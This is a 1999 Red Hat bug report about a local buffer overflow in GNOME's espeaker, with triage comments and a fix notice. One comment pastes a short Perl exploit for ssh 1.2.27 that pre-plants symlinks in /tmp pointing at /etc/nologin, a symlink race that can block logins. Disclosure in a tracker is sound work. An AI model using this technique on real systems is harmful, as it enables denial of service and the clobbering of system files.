Bug 5406 – Gnome espeaker local buffer overflow vulnerability

Bug 5406 - Gnome espeaker local buffer overflow vulnerability

Summary:	Gnome espeaker local buffer overflow vulnerability

Status:	CLOSED NEXTRELEASE

Aliases:	None

Product:	Red Hat Linux
Classification:	Retired
Component:	gnome-libs (Show other bugs)
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Version:	6.0
Hardware:	All Linux

Priority	high Severity medium
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Assigned To:	Elliot Lee
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URL:	http://www.securityfocus.com/data/vul...
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Keywords:	Security

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Reported:	1999-09-27 16:24 EDT by zurk
Modified:	2008-05-01 11:37 EDT (History)
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Last Closed:	1999-10-27 16:52:14 EDT
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Description zurk 1999-09-27 16:24:21 EDT

Gnome libs 1.08 is affected by a boundary condition error.
For further details see exploit URL:
http://www.securityfocus.com/data/vulnerabilities/exploits/gnox.sh
I've also seen a local exploit for ssh 1.2.27 floating
around, but since that isnt included with redhat 6
officially..i dont know where to post it.

Comment 1 Bill Nottingham 1999-09-28 10:53:59 EDT

FWIW, there are no setuid/setgid root programs that ship with GNOME.


------- Additional Comments From   10/04/99 20:06 -------
hmm...here's the exploit for ssh :
#!/usr/bin/perl

 $pid = $$;

 $whoami = `whoami`;
 chop($whoami);
 mkdir("/tmp/ssh-$whoami", 0700);

 for ($i = $pid; $i < $pid+50; $i++)
 {
 symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
 }


and a relevant link :
http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=660

Comment 2 Bill Nottingham 1999-10-07 14:03:59 EDT

Huh? What does ssh have to do with gnome-libs?

------- Additional Comments From   10/10/99 17:54 -------
sorry...just found the ssh thing that was floating around and didnt
know where to post it..anyway, can we now fix both bugs ? or should i
resubmit it somewhere else ?

Comment 3 Elliot Lee 1999-10-27 16:52:59 EDT

This bug is fixed in esound cvs, will be in next release.

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